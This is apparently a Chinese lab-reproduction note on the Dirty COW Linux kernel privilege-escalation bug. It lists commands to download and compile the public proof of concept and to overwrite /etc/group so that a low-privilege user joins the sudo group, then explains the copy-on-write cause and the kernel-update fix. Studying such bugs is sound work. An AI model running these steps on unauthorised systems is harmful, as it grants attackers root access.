脏牛漏洞复现

  • 2019 年 10 月 7 日
  • 筆記

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

0X1 环境搭建

环境:Ubuntu-14.04.4-desktop-amd64.iso

利用条件:Linux kernel >= 2.6.22

0X2 漏洞复现

adduser test/123456

su test

id

下载poc:

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

编译:

gcc -pthread dirtyc0w.c -o dirtyc0w

./dirtyc0w /etc/group "$(sed'/(sudo*)/ s/$/,test/' /etc/group)"

exit

打开另一个终端查看test账户的组信息:

即可完成提权工作!在诸多安全攻防环境中,该漏洞被作为提权的漏洞可能性非常大。

0X3 漏洞成因

Linux写时拷贝技术(copy-on-write)

在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。

0x4 修复方法

更新系统内核版本